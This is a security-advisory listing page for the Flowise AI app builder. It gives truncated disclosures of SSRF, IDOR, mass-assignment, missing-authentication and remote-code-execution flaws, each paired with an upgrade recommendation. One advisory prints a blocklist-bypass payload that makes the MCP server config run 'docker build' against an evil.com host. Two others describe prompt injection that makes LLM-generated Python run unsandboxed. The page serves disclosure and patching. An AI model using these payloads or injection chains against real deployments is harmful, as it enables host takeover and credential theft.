Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.
Open advisories
97 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.
============================================================================= Security Advisory elttam Topic: Flowise RCE via TypeORM DataSource Module: FlowiseAI/Flowise Disclosed: 15-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2 I. Background Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding. Flowise allows users to connect to remote databases within a flow, which is performed using the TypeORM DataSource. II. Problem Description The following nodes allowed users to set arbitrary options for the TypeORM DataSource class using the additionalConfig node input: packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration. Details The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential. Confirmed in runtime code: 1. Unauthenticated route via whitelist - dist/utils/constants.js includes: - /api/v1/oauth2-credential/callback - /api/v1/oauth2-credential/refresh - dist/index.js auth middleware uses: - const isWhitelisted = whitelistURLs.some((url) = req.path.startsWith(url)) - Therefore…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
An Insecure Direct Object Reference (IDOR) vulnerability exists at the GET /api/v1/organization/customer-default-source endpoint. This flaw allows an authenticated attacker to bypass authorization checks and retrieve sensitive payment and profile information of other customers by manipulating the customerId parameter. The exposed data includes email addresses, account balances, currency types, and internal billing configurations. Details The application fails to implement proper object-level access control. While the endpoint requires a valid session/token, it does not verify if the requesting user has the authority to access the specific customerId provided in the query string. When a request is made to: GET /api/v1/organization/customer-default-source?customerId=cusXXXX The server processes the request based solely on the existence of a valid session, returning the data associated with the ID regardless of the data owner's identity. Since customer IDs follow a predictable…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The /api/v1/chatflows/apikey/:apikey endpoint (whitelisted, accessible with API key auth only) returns all chatflows bound to the provided API key AND all chatflows across the entire system that have no API key assigned. This crosses workspace boundaries, allowing a user in Workspace A who has a valid API key to read the full configuration (including flowData, chatbotConfig, system prompts, and node configurations) of chatflows from Workspace B, Workspace C, and all other workspaces, as long as those chatflows have no API key assigned. Details The controller at packages/server/src/controllers/chatflows/index.ts:90-107 validates the API key and calls the service: The service at packages/server/src/services/chatflows/index.ts:223-245 builds the database query: When keyonly is not provided as a query parameter (which is the default case), the query expands to include: - All chatflows bound to the provided API key (same workspace, expected behavior) - ALL chatflows with apikeyid…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A Mass Assignment vulnerability in the PUT /api/v1/user endpoint allows authenticated users to directly modify restricted user fields, including the credential (password hash), bypassing the intended password change workflow. Because the endpoint forwards the entire request body to the service layer without filtering, an attacker can override the credential field without providing the current password. This bypasses several security protections including: - old password verification - password hashing enforcement - password policy validation - session invalidation on password change While the vulnerability cannot be used to modify other users due to an ID check in the controller, it allows attackers who obtain a temporary session (e.g., via token theft or XSS) to establish persistent account access. Details The endpoint PUT /api/v1/user allows authenticated users to update their user profile. The controller checks that the authenticated user matches the provided id,…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The TTS generation endpoint sets Access-Control-Allow-Origin: as a hardcoded response header, independent of the server's CORS configuration. This enables any webpage to make cross-origin requests to generate speech using stored credentials. Root Cause Impact - Cross-origin credential abuse — any webpage can trigger TTS using stored credentials - Bypasses the server's CORS policy (getCorsOptions()) which is otherwise restrictive by default - Combined with Finding 3 (TTS credential abuse), enables drive-by credential abuse via malicious webpages Suggested Fix Remove the hardcoded CORS wildcard and let the server's CORS middleware handle the headers: --- References - packages/server/src/controllers/text-to-speech/index.ts line 83
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Type: Mass assignment via Object.assign(entity, body) - client-controlled workspaceId (and on create, id) overwritten on the Evaluator entity - cross-workspace data takeover and IDOR. File: packages/server/src/Interface.Evaluation.ts Root cause: The Evaluator controller/service constructs a new Evaluator() and copies the request body into it via Object.assign(...) without an explicit field allowlist. The request body therefore can include workspaceId, id, createdDate, updatedDate. The server only rebinds some of these after the assign (e.g. on create, it overwrites workspaceId but not id; on update, it overwrites id but not workspaceId). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the evaluator entity's sibling controllers and as DocumentStore before it was patched in commit 840d2ae. Affected Code File: packages/server/src/Interface.Evaluation.ts Why it's wrong: Object.assign(target, source)…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Type: Mass assignment via Object.assign(entity, body) - client-controlled workspaceId (and on create, id) overwritten on the Evaluation entity - cross-workspace data takeover and IDOR. File: packages/server/src/services/evaluations/index.ts Root cause: The Evaluation controller/service constructs a new Evaluation() and copies the request body into it via Object.assign(...) without an explicit field allowlist. The request body therefore can include workspaceId, id, createdDate, updatedDate. The server only rebinds some of these after the assign (e.g. on create, it overwrites workspaceId but not id; on update, it overwrites id but not workspaceId). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the evaluation entity's sibling controllers and as DocumentStore before it was patched in commit 840d2ae. Affected Code File: packages/server/src/services/evaluations/index.ts Why it's wrong:…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Type: Mass assignment via Object.assign(entity, body) - client-controlled workspaceId (and on create, id) overwritten on the DatasetRow entity - cross-workspace data takeover and IDOR. File: packages/server/src/services/dataset/index.ts Root cause: The DatasetRow controller/service constructs a new DatasetRow() and copies the request body into it via Object.assign(...) without an explicit field allowlist. The request body therefore can include workspaceId, id, createdDate, updatedDate. The server only rebinds some of these after the assign (e.g. on create, it overwrites workspaceId but not id; on update, it overwrites id but not workspaceId). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the datasetrow entity's sibling controllers and as DocumentStore before it was patched in commit 840d2ae. Affected Code File: packages/server/src/services/dataset/index.ts Why it's wrong: Object.assign(target,…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Type: Mass assignment via Object.assign(entity, body) - client-controlled workspaceId (and on create, id) overwritten on the Dataset entity - cross-workspace data takeover and IDOR. File: packages/server/src/services/dataset/index.ts Root cause: The Dataset controller/service constructs a new Dataset() and copies the request body into it via Object.assign(...) without an explicit field allowlist. The request body therefore can include workspaceId, id, createdDate, updatedDate. The server only rebinds some of these after the assign (e.g. on create, it overwrites workspaceId but not id; on update, it overwrites id but not workspaceId). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the dataset entity's sibling controllers and as DocumentStore before it was patched in commit 840d2ae. Affected Code File: packages/server/src/services/dataset/index.ts Why it's wrong: Object.assign(target, source) copies…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Type: Mass assignment via Object.assign(entity, body) - client-controlled workspaceId (and on create, id) overwritten on the CustomTemplate entity - cross-workspace data takeover and IDOR. File: packages/server/src/services/marketplaces/index.ts Root cause: The CustomTemplate controller/service constructs a new CustomTemplate() and copies the request body into it via Object.assign(...) without an explicit field allowlist. The request body therefore can include workspaceId, id, createdDate, updatedDate. The server only rebinds some of these after the assign (e.g. on create, it overwrites workspaceId but not id; on update, it overwrites id but not workspaceId). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the customtemplate entity's sibling controllers and as DocumentStore before it was patched in commit 840d2ae. Affected Code File: packages/server/src/services/marketplaces/index.ts Why it's wrong:…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Type: Mass assignment via Object.assign(entity, body) - client-controlled workspaceId (and on create, id) overwritten on the Assistant entity - cross-workspace data takeover and IDOR. File: packages/server/src/services/assistants/index.ts Root cause: The Assistant controller/service constructs a new Assistant() and copies the request body into it via Object.assign(...) without an explicit field allowlist. The request body therefore can include workspaceId, id, createdDate, updatedDate. The server only rebinds some of these after the assign (e.g. on create, it overwrites workspaceId but not id; on update, it overwrites id but not workspaceId). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the assistant entity's sibling controllers and as DocumentStore before it was patched in commit 840d2ae. Affected Code File: packages/server/src/services/assistants/index.ts Why it's wrong: Object.assign(target,…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
FINDING 4: OpenAI Assistants Vector Store - No Auth on CRUD Operations Severity: HIGH (CVSS ~8.1) Type: CWE-306 (Missing Authentication for Critical Function) File: packages/server/src/routes/openai-assistants-vector-store/index.ts Description: ALL CRUD endpoints for OpenAI Assistants Vector Store have no authentication middleware AND the route path /api/v1/openai-assistants-vector-store is NOT in WHITELISTURLS. However, it is also NOT protected by the main auth middleware when accessed via API key — the route requires API key auth (not whitelisted), but NO permission checks exist on any operation. The real issue is that the routes have no checkAnyPermission() middleware, meaning any authenticated user regardless of role can: - Create vector stores - Upload files to vector stores - Delete vector stores and files - Modify any vector store Evidence: Impact: Any authenticated user can manipulate OpenAI vector stores, upload malicious files, delete data, or exfiltrate stored documents…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Severity: HIGH (CVSS ~7.5) Type: CWE-200 (Exposure of Sensitive Information) File: packages/server/src/services/credentials/index.ts:62-71 Description: When credentials are fetched with a credentialName filter parameter, the encryptedData field is NOT stripped from the response. The code properly omits encryptedData when NO filter is used (line 102) but fails to do so when a filter IS used (lines 62-63, 70-71). Credential Data Leak Evidence: Impact: Authenticated users can extract encrypted credential data (API keys, passwords, tokens for services like OpenAI, AWS, etc.). Combined with access to the encryption key file (~/.flowise/encryption.key written with default permissions), this enables full credential theft. Reproduction:
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2BAPIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via childprocess. The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical. Details Two distinct security boundaries are violated. 1. Missing route-level authorization packages/server/src/routes/node-custom-functions/index.ts registers the endpoint with no permission middleware: Other sensitive routes in the same codebase use explicit permission gates: Global /api/v1 authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A Mass Assignment vulnerability exists in the assistant update endpoint of FlowiseAI. The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating an assistant resource. Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign assistants to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments. Details The endpoint responsible for updating assistants: PUT /api/v1/assistants/{assistantId} accepts a JSON request body containing assistant metadata. However, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend. Server-controlled fields that can be manipulated include: 1. workspaceId 2. createdDate 3. updatedDate These fields appear to be directly mapped…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods Details 【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build <remote-URL will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the docker…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Detection Method: Kolega.dev Deep Code Scan | Attribute | Value | |---|---| | Severity | Medium | | CWE | CWE-522 (Insufficiently Protected Credentials) | | Location | packages/server/src/enterprise/controllers/account.controller.ts:128-135 | | Practical Exploitability | Medium | | Developer Approver | faizan@kolega.ai | Description The checkBasicAuth endpoint validates credentials in plaintext without rate limiting and with direct comparison. Affected Code Evidence Credentials are sent in plaintext in request body and compared directly without hashing. No rate limiting prevents brute force attacks. The endpoint returns different messages for success/failure, enabling enumeration. Impact Credential brute-forcing - attackers can attempt unlimited username/password combinations against the basic auth system. Successful attacks grant access to the application. Recommendation 1) Implement rate limiting on this endpoint, 2) Use constant-time comparison to prevent timing attacks, 3)…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A Mass Assignment vulnerability exists in the chatflow update endpoint of FlowiseAI. The endpoint allows clients to modify server-controlled properties such as deployed, isPublic, workspaceId, createdDate, and updatedDate when updating a chatflow object. Due to missing server-side validation and authorization checks, an authenticated user can manipulate internal attributes of a chatflow and reassign it to another workspace. This allows cross-workspace resource reassignment and unauthorized modification of deployment and visibility settings. Details The endpoint responsible for updating chatflows: PUT /api/v1/chatflows/{chatflowId} accepts a JSON request body containing the chatflow configuration (flowData) along with other metadata fields. However, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend. Examples of…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A Mass Assignment vulnerability exists in the tool update endpoint of FlowiseAI. The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a tool resource. Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign tools to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments. Details The endpoint responsible for updating tools: PUT /api/v1/tools/{toolId} accepts a JSON request body containing tool metadata. However, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend. Server-controlled fields that can be manipulated include: 1. workspaceId 2. createdDate 3. updatedDate The request body is directly merged into the underlying database entity…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A Mass Assignment vulnerability exists in the variable update endpoint of FlowiseAI. The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a variable resource. Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign variables to arbitrary workspaces. This behavior may break tenant isolation in multi-workspace environments. Details The endpoint responsible for updating variables: PUT /api/v1/variables/{variableId} accepts a JSON request body containing the variable definition. However, the backend does not restrict which attributes can be modified by the client. As a result, user-controlled request bodies can include internal properties that should normally be controlled exclusively by the server. Server-controlled fields that can be manipulated include: - workspaceId - createdDate - updatedDate These fields appear to be…
Recommended action: Upgrade to 3.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Abstract Trend Micro's Zero Day Initiative has identified a vulnerability affecting FlowiseAI Flowise. Vulnerability Details - Version tested: 3.0.13 - Installer file: https://github.com/FlowiseAI/Flowise - Platform tested: Ubuntu 25.10 Analysis This vulnerability allows remote attackers to execute arbitrary code on affected installations of FlowiseAI Flowise. Authentication is not required to exploit this vulnerability. The specific flaw exists within the run method of the CSVAgents class. The issue results from the lack of proper sandboxing when evaluating an LLM-generated Python script. An attacker can leverage this vulnerability to execute code in the context of the user running the server. Product Information FlowiseAI Flowise version 3.0.13 — https://github.com/FlowiseAI/Flowise Setup Instructions Root Cause Analysis FlowiseAI Flowise is an open source low-code tool for developers to build customized large language model (LLM) applications and AI agents. It supports integration…
Recommended action: Upgrade to 3.1.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
ZDI-CAN-29412: FlowiseAI Flowise AirtableAgent Code Injection Remote Code Execution Vulnerability Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise -- VULNERABILITY DETAILS ------------------------ Version tested: 3.0.13 Installer file: hxxps://github.com/FlowiseAI/Flowise Platform tested: Ubuntu 25.10 --- Analysis FlowiseAI Flowise Airtable Agent pythonCode Prompt Injection Remote Code Execution Vulnerability This vulnerability allows remote attackers to execute arbitrary code on affected installations of FlowiseAI Flowise. Authentication is not required to exploit this vulnerability. The specific flaw exists within the run method of the AirtableAgents class. The issue results from the lack of proper sandboxing when evaluating an LLM generated python script. An attacker can leverage this vulnerability to execute code in the context of the user running the server. Product information FlowiseAI Flowise version 3.0.13…
Recommended action: Upgrade to 3.1.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The text-to-speech generation endpoint (POST /api/v1/text-to-speech/generate) is whitelisted (no auth) and accepts a credentialId directly in the request body. When called without a chatflowId, the endpoint uses the provided credentialId to decrypt the stored credential (e.g., OpenAI or ElevenLabs API key) and generate speech. Root Cause Docker Validation POST /api/v1/text-to-speech/generate with arbitrary credentialId in body: endpoint processes request, sends SSE ttsstart event, only fails when credential doesn't exist — proves code path runs without authentication. Impact - Use victim's API keys (OpenAI, ElevenLabs, Azure, Google) without authorization - Burn API credits on the victim's account - Generate unlimited speech content at victim's expense - Combined with credential ID leak from Finding 2, this is trivially exploitable Suggested Fix Remove the TTS endpoint from WHITELISTURLS or validate that the credential belongs to the chatflow being used: --- References -…
Recommended action: Upgrade to 3.1.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The GET /api/v1/public-chatflows/:id endpoint returns the full chatflow object without sanitization for public chatflows. Docker validation revealed this is worse than initially assessed: the sanitizeFlowDataForPublicEndpoint function does NOT exist in the released v3.0.13 Docker image. Both public-chatflows AND public-chatbotConfig return completely raw flowData including credential IDs, plaintext API keys, and password-type fields. Root Cause Docker Validation (v3.0.13) Created public chatflow with credential IDs and passwords in flowData: The sanitizeFlowDataForPublicEndpoint function only exists in unreleased HEAD, and even there, only public-chatbotConfig calls it — public-chatflows never does. Impact - Credential IDs leaked — enables OAuth2 token theft chain (Finding 1) - Plaintext API keys and passwords leaked — direct third-party account compromise - Node configurations leaked — reveals internal architecture and endpoint URLs - Both public-chatflows and…
Recommended action: Upgrade to 3.1.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.